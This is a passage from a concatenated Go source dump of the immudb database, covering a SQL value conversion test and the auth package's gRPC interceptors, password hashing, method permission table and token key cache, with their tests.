false, }, { "uint16", uint16(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false, }, { "uint32", uint32(10), &SQLValue{Value: &SQLValue_N{N: 10}}, false, }, { "uint64", uint64(13), &SQLValue{Value: &SQLValue_N{N: 13}}, false, }, { "int", 11, &SQLValue{Value: &SQLValue_N{N: 11}}, false, }, { "int8", int8(11), &SQLValue{Value: &SQLValue_N{N: 11}}, false, }, { "int16", int16(11), &SQLValue{Value: &SQLValue_N{N: 11}}, false, }, { "int32", int32(11), &SQLValue{Value: &SQLValue_N{N: 11}}, false, }, { "int64", int64(12), &SQLValue{Value: &SQLValue_N{N: 12}}, false, }, { "string", string("14"), &SQLValue{Value: &SQLValue_S{S: "14"}}, false, }, { "bool", true, &SQLValue{Value: &SQLValue_B{B: true}}, false, }, { "[]byte", []byte{1, 5}, &SQLValue{Value: &SQLValue_Bs{Bs: []byte{1, 5}}}, false, }, { "struct{}", struct{}{}, nil, true, }, { "nil", (*string)(nil), nil, true, }, { "timestamp", time.Date(2021, 12, 7, 14, 12, 54, 12345, time.UTC), &SQLValue{Value: &SQLValue_Ts{Ts: 1638886374000012}}, false, }, } { t.Run(d.n, func(t *testing.T) { sqlVal, err := AsSQLValue(d.val) require.EqualValues(t, d.sqlVal, sqlVal) if d.isErr { require.ErrorIs(t, err, sql.ErrInvalidValue) } }) } } ================================================ FILE: pkg/api/schema/state.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "crypto/ecdsa" "crypto/sha256" "encoding/binary" "errors" "github.com/codenotary/immudb/pkg/signer" ) func (state *ImmutableState) ToBytes() []byte { b := make([]byte, 4+len(state.Db)+8+sha256.Size) i := 0 binary.BigEndian.PutUint32(b[i:], uint32(len(state.Db))) i += 4 copy(b[i:], []byte(state.Db)) i += len(state.Db) binary.BigEndian.PutUint64(b[i:], state.TxId) i += 8 copy(b[i:], state.TxHash[:]) return b } // CheckSignature func (state *ImmutableState) CheckSignature(key *ecdsa.PublicKey) error { if state.Signature == nil { return errors.New("no signature provided") } return signer.Verify(state.ToBytes(), state.Signature.Signature, key) } ================================================ FILE: pkg/api/schema/unexpected_type.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema type Op_Unexpected struct { myStruct *struct{} } func (*Op_Unexpected) isOp_Operation() {} ================================================ FILE: pkg/api/schema/unexpected_type_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import "testing" func Test_OpUnexpected(t *testing.T) { un := Op_Unexpected{} un.isOp_Operation() } ================================================ FILE: pkg/auth/auth.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth // Kind the authentication kind type Kind uint32 // Authentication kinds const ( KindNone Kind = iota KindPassword KindCryptoSig ) // TODO OGG: in the future, after other types of auth will be implemented, // this will have to be of Kind (see above) type instead of bool: // AuthEnabled toggles authentication on or off var AuthEnabled bool // DevMode if set to true, remote client commands (except admin ones) will be accepted even if auth is off var DevMode bool //IsTampered if set to true then one of the databases is tempered and the user is notified var IsTampered bool // WarnDefaultAdminPassword warning user message for the case when admin uses the default password var WarnDefaultAdminPassword = "immudb user has the default password: please change it to ensure proper security" ================================================ FILE: pkg/auth/auth_type.go ================================================ package auth import ( "context" "google.golang.org/grpc/metadata" ) type AuthType int const ( TokenAuth AuthType = iota SessionAuth None ) func GetAuthTypeFromContext(ctx context.Context) AuthType { md, ok := metadata.FromIncomingContext(ctx) if !ok { return None } authHeader, ok := md["sessionid"] if ok && len(authHeader) >= 1 { return SessionAuth } authHeader, ok = md["authorization"] if ok && len(authHeader) >= 1 { return TokenAuth } return None } ================================================ FILE: pkg/auth/clientinterceptors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "google.golang.org/grpc" "google.golang.org/grpc/metadata" ) // ClientStreamInterceptor gRPC client interceptor for streams func ClientStreamInterceptor(token string) func(context.Context, *grpc.StreamDesc, *grpc.ClientConn, string, grpc.Streamer, ...grpc.CallOption) (grpc.ClientStream, error) { return func(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) { ctx = updateAuthHeader(ctx, token) return streamer(ctx, desc, cc, method, opts...) } } // ClientUnaryInterceptor gRPC client interceptor for unary methods func ClientUnaryInterceptor(token string) func(context.Context, string, interface{}, interface{}, *grpc.ClientConn, grpc.UnaryInvoker, ...grpc.CallOption) error { return func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { ctx = updateAuthHeader(ctx, token) return invoker(ctx, method, req, reply, cc, opts...) } } // updateAuthHeader ensures the grpc metadata in the context contains the correct // authorization header value. The token may be either taken from the client // object where it is managed by a token service through the `token` argument, // or it can be given in the metadata inside the context. func updateAuthHeader(ctx context.Context, token string) context.Context { if md, ok := metadata.FromOutgoingContext(ctx); ok && len(md.Get("authorization")) > 0 { // The token provided through the metadata has a higher priority than the // one set for the whole client - this allows customization of the token // per each API call. token = md.Get("authorization")[0] } md, ok := metadata.FromOutgoingContext(ctx) if !ok { md = metadata.New(nil) } // The final token value must be provided with the `Bearer ` prefix. md.Set("authorization", "Bearer "+token) return metadata.NewOutgoingContext(ctx, md) } ================================================ FILE: pkg/auth/clientinterceptors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "testing" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/metadata" ) func TestClientUnaryInterceptor(t *testing.T) { f := ClientUnaryInterceptor("token") invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { md, ok := metadata.FromOutgoingContext(ctx) require.True(t, ok) require.Equal(t, []string{"Bearer token"}, md.Get("authorization")) return nil } err := f(context.Background(), "", "", "", nil, invoker) require.NoError(t, err) } func TestClientStreamInterceptor(t *testing.T) { f := ClientStreamInterceptor("token") streamer := func(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, opts ...grpc.CallOption) (grpc.ClientStream, error) { md, ok := metadata.FromOutgoingContext(ctx) require.True(t, ok) require.Equal(t, []string{"Bearer token"}, md.Get("authorization")) return nil, nil } _, err := f(context.Background(), nil, nil, "", streamer) require.NoError(t, err) } ================================================ FILE: pkg/auth/errors.go ================================================ package auth import "github.com/codenotary/immudb/pkg/errors" var ErrNoAuthData = errors.New("no authentication data provided").WithCode(errors.CodProtocolViolation) var ErrNotLoggedIn = errors.New("not logged in").WithCode(errors.CodInvalidAuthorizationSpecification) ================================================ FILE: pkg/auth/passwords.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "encoding/base64" "errors" "fmt" "strings" "unicode" "golang.org/x/crypto/bcrypt" ) // HashAndSaltPassword hashes and salts the provided password func HashAndSaltPassword(plainPassword []byte) ([]byte, error) { hashedPasswordBytes, err := bcrypt.GenerateFromPassword(plainPassword, bcrypt.DefaultCost) if err != nil { return nil, fmt.Errorf("error hashing password: %v", err) } return hashedPasswordBytes, nil } // ComparePasswords compares the provided plainPassword against the provided hashed password func ComparePasswords(hashedPassword []byte, plainPassword []byte) error { return bcrypt.CompareHashAndPassword(hashedPassword, plainPassword) } const ( minPasswordLen = 8 maxPasswordLen = 32 ) // PasswordRequirementsMsg message used to inform the user about password strength requirements var PasswordRequirementsMsg = fmt.Sprintf( "password must have between %d and %d letters, digits and special characters "+ "of which at least 1 uppercase letter, 1 digit and 1 special character", minPasswordLen, maxPasswordLen, ) // IsStrongPassword checks if the provided password meets the strength requirements func IsStrongPassword(password string) error { err := errors.New(PasswordRequirementsMsg) if len(password) < minPasswordLen || len(password) > maxPasswordLen { return err } var hasUpper bool var hasDigit bool var hasSpecial bool for _, ch := range password { switch { case unicode.IsUpper(ch): hasUpper = true case unicode.IsLower(ch): case unicode.IsDigit(ch): hasDigit = true case unicode.IsPunct(ch) || unicode.IsSymbol(ch): hasSpecial = true default: return err } } if !hasUpper || !hasDigit || !hasSpecial { return err } return nil } // DecodeBase64Password decodes the provided base64-encoded password if it has the // "enc:" prefix or returns it with leading and trailing space trimmed otherwise func DecodeBase64Password(passwordBase64 string) (string, error) { password := strings.TrimSpace(passwordBase64) prefix := "enc:" if password != "" && strings.HasPrefix(password, prefix) { passwordNoPrefix := passwordBase64[4:] passwordBytes, err := base64.StdEncoding.DecodeString(passwordNoPrefix) if err != nil { return passwordBase64, fmt.Errorf( "error decoding password from base64 string %s: %v", passwordNoPrefix, err) } password = string(passwordBytes) } return password, nil } ================================================ FILE: pkg/auth/passwords_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "encoding/base64" "strings" "testing" "github.com/stretchr/testify/require" ) func TestIsStrongPassword(t *testing.T) { weakPass := "pass" if err := IsStrongPassword(weakPass); err == nil { t.Errorf("IsStrongPassword failed to detect week password") } weakPass = "1~password" if err := IsStrongPassword(weakPass); err == nil { t.Errorf("IsStrongPassword failed to detect week password") } weakPass = "1~Password" if err := IsStrongPassword(weakPass); err != nil { t.Errorf("IsStrongPassword detected wrong week password") } weakPass = "1~Password\n" if err := IsStrongPassword(weakPass); err == nil { t.Errorf("IsStrongPassword failed to detect non allowed character") } } func TestDecodeBase64Password(t *testing.T) { pass := "pass" _, err := DecodeBase64Password(pass) require.NoError(t, err) pass = "enc:" + base64.StdEncoding.EncodeToString([]byte("password")) decodedPass, err := DecodeBase64Password(pass) require.NoError(t, err) require.Equal(t, "password", decodedPass) _, err = DecodeBase64Password(strings.TrimSuffix(pass, "=")) require.ErrorContains(t, err, "error decoding password from base64 string") } ================================================ FILE: pkg/auth/permissions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth var maintenanceMethods = map[string]struct{}{ "Get": {}, "VerifiableGet": {}, "StreamGet": {}, "StreamVerifiableGet": {}, "GetAll": {}, "ZScan": {}, "StreamZScan": {}, "VerifiableTxByID": {}, "IScan": {}, "Scan": {}, "StreamScan": {}, "History": {}, "StreamHistory": {}, "TxByID": {}, "TxScan": {}, "ExportTx": {}, "ReplicateTx": {}, "Count": {}, "CountAll": {}, "DatabaseList": {}, "CurrentState": {}, "UseSnapshot": {}, "SQLQuery": {}, "ListTables": {}, "DescribeTable": {}, "VerifiableSQLGet": {}, "CreateCollection": {}, "GetCollection": {}, "GetCollections": {}, "UpdateCollection": {}, "DeleteCollection": {}, "AddField": {}, "RemoveField": {}, "CreateIndex": {}, "DeleteIndex": {}, "InsertDocuments": {}, "ReplaceDocuments": {}, "DeleteDocuments": {}, "SearchDocuments": {}, "CountDocuments": {}, "AuditDocument": {}, "ProofDocument": {}, // admin methods "ListUsers": {}, "Dump": {}, "FlushIndex": {}, "CompactIndex": {}, } // PermissionSysAdmin the admin permission byte const PermissionSysAdmin = 255 // PermissionAdmin the system admin permission byte const PermissionAdmin = 254 // Non-admin permissions const ( PermissionNone = iota PermissionR PermissionRW ) var methodsPermissions = map[string][]uint32{ // readwrite methods "Set": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "Delete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "VerifiableSet": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "StreamSet": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "StreamVerifiableSet": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "Get": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "StreamGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "StreamVerifiableGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "GetAll": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "ExecAll": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "StreamExecAll": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "SetReference": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "VerifiableSetReference": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "ZAdd": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "VerifiableZAdd": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "ZScan": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "StreamZScan": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableTxByID": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "IScan": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "Scan": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "StreamScan": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "History": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "StreamHistory": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "TxByID": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "TxScan": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "Count": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CountAll": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DatabaseList": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CurrentState": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DatabaseHealth": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DatabaseSettings": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "SQLExec": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "UseSnapshot": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "SQLQuery": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "ListTables": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DescribeTable": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableSQLGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CreateCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "GetCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "GetCollections": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "UpdateCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteCollection": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "AddField": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "RemoveField": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "CreateIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteIndex": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "InsertDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "ReplaceDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DeleteDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "SearchDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CountDocuments": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "AuditDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "ProofDocument": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, // admin methods "ListUsers": {PermissionSysAdmin, PermissionAdmin}, "CreateUser": {PermissionSysAdmin, PermissionAdmin}, "ChangePassword": {PermissionSysAdmin, PermissionAdmin}, "SetPermission": {PermissionSysAdmin, PermissionAdmin}, "DeactivateUser": {PermissionSysAdmin, PermissionAdmin}, "SetActiveUser": {PermissionSysAdmin, PermissionAdmin}, "UpdateAuthConfig": {PermissionSysAdmin}, "UpdateMTLSConfig": {PermissionSysAdmin}, "CreateDatabase": {PermissionSysAdmin}, "CreateDatabaseV2": {PermissionSysAdmin}, "UpdateDatabase": {PermissionSysAdmin}, "UpdateDatabaseV2": {PermissionSysAdmin}, "Dump": {PermissionSysAdmin, PermissionAdmin}, "FlushIndex": {PermissionSysAdmin, PermissionAdmin}, "CompactIndex": {PermissionSysAdmin, PermissionAdmin}, "ExportTx": {PermissionSysAdmin, PermissionAdmin}, "ReplicateTx": {PermissionSysAdmin, PermissionAdmin}, } // HasPermissionForMethod checks if userPermission can access method name func HasPermissionForMethod(userPermission uint32, method string) bool { methodPermissions, ok := methodsPermissions[method] if !ok { return false } for _, val := range methodPermissions { if val == userPermission { return true } } return false } func IsMaintenanceMethod(method string) bool { _, maintenanceMethod := maintenanceMethods[method] return maintenanceMethod } ================================================ FILE: pkg/auth/permissions_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "testing" ) func TestHasPermissionForMethod(t *testing.T) { if !HasPermissionForMethod(PermissionSysAdmin, "DeactivateUser") { t.Errorf("HasPermissionForMethod error") } if HasPermissionForMethod(PermissionSysAdmin, "deactivateUser") { t.Errorf("HasPermissionForMethod error") } if HasPermissionForMethod(PermissionNone, "DeactivateUser") { t.Errorf("HasPermissionForMethod error") } if !HasPermissionForMethod(PermissionR, "CountAll") { t.Errorf("expected PermissionR to be sufficient for CountAll") } if HasPermissionForMethod(PermissionNone, "CountAll") { t.Errorf("expected PermissionNone to be insufficient for CountAll") } } ================================================ FILE: pkg/auth/serverinterceptors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "strings" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/peer" "google.golang.org/grpc/status" ) // UpdateMetrics callback which will be called to update metrics var UpdateMetrics func(context.Context) // ServerStreamInterceptor gRPC server interceptor for streams func ServerStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { ctx := ss.Context() if UpdateMetrics != nil { UpdateMetrics(ctx) } if IsTampered { return status.Errorf( codes.DataLoss, "the database should be checked manually as we detected possible tampering") } if !AuthEnabled { if !DevMode { if !isLocalClient(ctx) { return status.Errorf( codes.PermissionDenied, "server has authentication disabled: only local connections are accepted") } } } return handler(srv, ss) } // ServerUnaryInterceptor gRPC server interceptor for unary methods func ServerUnaryInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { if UpdateMetrics != nil { UpdateMetrics(ctx) } if IsTampered { return nil, status.Errorf( codes.DataLoss, "the database should be checked manually as we detected possible tampering") } if !AuthEnabled { if !DevMode { if !isLocalClient(ctx) { return nil, status.Errorf( codes.PermissionDenied, "server has authentication disabled: only local connections are accepted") } } } return handler(ctx, req) } var localAddress = map[string]struct{}{ "127.0.0.1": {}, "localhost": {}, "bufconn": {}, } func isLocalClient(ctx context.Context) bool { isLocal := false p, ok := peer.FromContext(ctx) if ok && p != nil { ipAndPort := strings.Split(p.Addr.String(), ":") if len(ipAndPort) > 0 { _, isLocal = localAddress[ipAndPort[0]] } } return isLocal } ================================================ FILE: pkg/auth/serverinterceptors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "net" "testing" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/metadata" "google.golang.org/grpc/peer" ) type MockedServerStream struct { } func (ss *MockedServerStream) SetHeader(metadata.MD) error { return nil } func (ss *MockedServerStream) SendHeader(metadata.MD) error { return nil } func (ss *MockedServerStream) SetTrailer(metadata.MD) { } func (ss *MockedServerStream) Context() context.Context { ip := net.IP{} ip.UnmarshalText([]byte(`10.0.0.1`)) p := &peer.Peer{ Addr: &net.TCPAddr{ IP: ip, Port: 9999, Zone: "zone", }, } return peer.NewContext(context.Background(), p) } func (ss *MockedServerStream) SendMsg(m interface{}) error { return nil } func (ss *MockedServerStream) RecvMsg(m interface{}) error { return nil } func TestServerStreamInterceptor(t *testing.T) { UpdateMetrics = func(context.Context) { } IsTampered = false AuthEnabled = true h := func(srv interface{}, stream grpc.ServerStream) error { return nil } sh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h) require.Nil(t, sh) } func TestServerStreamInterceptorTampered(t *testing.T) { UpdateMetrics = func(context.Context) { } IsTampered = true AuthEnabled = true h := func(srv interface{}, stream grpc.ServerStream) error { return nil } sh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h) require.ErrorContains(t, sh, "the database should be checked manually as we detected possible tampering") } func TestServerStreamInterceptorNoAuth(t *testing.T) { UpdateMetrics = func(context.Context) { } IsTampered = false AuthEnabled = false h := func(srv interface{}, stream grpc.ServerStream) error { return nil } sh := ServerStreamInterceptor(nil, &MockedServerStream{}, nil, h) require.ErrorContains(t, sh, "server has authentication disabled: only local connections are accepted") } func TestServerUnaryInterceptor(t *testing.T) { UpdateMetrics = func(context.Context) { } IsTampered = false AuthEnabled = true h := func(ctx context.Context, req interface{}) (interface{}, error) { return nil, nil } r, err := ServerUnaryInterceptor(context.Background(), "method", nil, h) require.NoError(t, err) require.Nil(t, r) } func TestServerUnaryInterceptorTampered(t *testing.T) { UpdateMetrics = func(context.Context) { } IsTampered = true AuthEnabled = true h := func(ctx context.Context, req interface{}) (interface{}, error) { return nil, nil } _, err := ServerUnaryInterceptor(context.Background(), "method", nil, h) require.ErrorContains(t, err, "the database should be checked manually as we detected possible tampering") } func TestServerUnaryInterceptorNoAuth(t *testing.T) { UpdateMetrics = func(context.Context) { } IsTampered = false AuthEnabled = false h := func(ctx context.Context, req interface{}) (interface{}, error) { return nil, nil } _, err := ServerUnaryInterceptor(context.Background(), "method", nil, h) require.ErrorContains(t, err, "server has authentication disabled: only local connections are accepted") } ================================================ FILE: pkg/auth/tokenkeys.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "crypto/ed25519" "fmt" "sync" "time" ) type tokenKeyPair struct { publicKey ed25519.PublicKey privateKey ed25519.PrivateKey lastTokenGeneratedAt time.Time } var tokenKeyPairs = struct { keysPerUser map[string]*tokenKeyPair lastEvictedAt time.Time minEvictInterval time.Duration sync.RWMutex }{ keysPerUser: map[string]*tokenKeyPair{}, lastEvictedAt: time.Unix(0, 0), minEvictInterval: 1 * time.Hour, } func generateKeys(Username string) error { publicKey, privateKey, err := ed25519.GenerateKey(nil) if err != nil { return fmt.Errorf( "error generating public and private key pair for user %s: %v", Username, err) } tokenKeyPairs.Lock() defer tokenKeyPairs.Unlock() tokenKeyPairs.keysPerUser[Username] = &tokenKeyPair{publicKey, privateKey, time.Now()} return nil } func getTokenForUser(Username string) (*tokenKeyPair, bool) { tokenKeyPairs.RLock() defer tokenKeyPairs.RUnlock() kp, ok := tokenKeyPairs.keysPerUser[Username] return kp, ok } func updateLastTokenGeneratedAt(Username string) { tokenKeyPairs.Lock() defer tokenKeyPairs.Unlock() tokenKeyPairs.keysPerUser[Username].lastTokenGeneratedAt = time.Now() } func evictOldTokenKeyPairs() { tokenKeyPairs.Lock() defer tokenKeyPairs.Unlock() // 1 public key = 32B, 1 private key = 64B => // 10_000 key pairs = (32 + 64) * 10_000 = 960_000B which is close to 1MB // if storing keys requires less memory than that, skip eviction if len(tokenKeyPairs.keysPerUser) < 10_000 { return } now := time.Now() if now.Before(tokenKeyPairs.lastEvictedAt.Add(tokenKeyPairs.minEvictInterval)) { return } for k, v := range tokenKeyPairs.keysPerUser { // - keys are used to generate tokens during login (and to verify them during any call with auth) // - if no token was generated with a key during the last 3 days, the user would have to login // again anyway (tokens expire in a much shorter time than that), so we just evict the key // (if user logins again, a new pair will be generated and used from that point on) if now.Before(v.lastTokenGeneratedAt.Add(3 * 24 * time.Hour)) { continue } delete(tokenKeyPairs.keysPerUser, k) } tokenKeyPairs.lastEvictedAt = now } // DropTokenKeys removes the token keys from the cache, hence invalidating // any token that was generated with those keys func DropTokenKeys(username string) bool { tokenKeyPairs.Lock() defer tokenKeyPairs.Unlock() _, ok := tokenKeyPairs.keysPerUser[username] if ok { delete(tokenKeyPairs.keysPerUser, username) } return ok } // DropTokenKeysForCtx removes the token keys from the cache for the username of // the token that resides in the provided context func DropTokenKeysForCtx(ctx context.Context) (bool, error) { jsonToken, err := verifyTokenFromCtx(ctx) if err != nil { return false, err } return DropTokenKeys(jsonToken.Username), nil } // GetLoggedInUser gets userdata from context func GetLoggedInUser(ctx context.Context) (*JSONToken, error) { return verifyTokenFromCtx(ctx) } ================================================ FILE: pkg/auth/tokenkeys_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auth import ( "context" "encoding/hex" "strconv" "testing" "time" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" ) func TestDropTokenKeys(t *testing.T) { if err := generateKeys("CharlesDickens"); err != nil { t.Errorf("error generating keys %s", err) } if !DropTokenKeys("CharlesDickens") { t.Errorf("error drop token keys") } evictOldTokenKeyPairs() public, _ := hex.DecodeString("93bced46788771711821e9aa6e89b65c8080436ee1f9f24c140613f47c89b435") private, _ := hex.DecodeString("a11110e174b875ac7d50ff26c444710e3e3ef49249e891638a64b53ba41bd1b393bced46788771711821e9aa6e89b65c8080436ee1f9f24c140613f47c89b435") tm := time.Unix(1593767032, 0) keyPair := &tokenKeyPair{ publicKey: public, privateKey: private, lastTokenGeneratedAt: tm, } for i := 0; i < 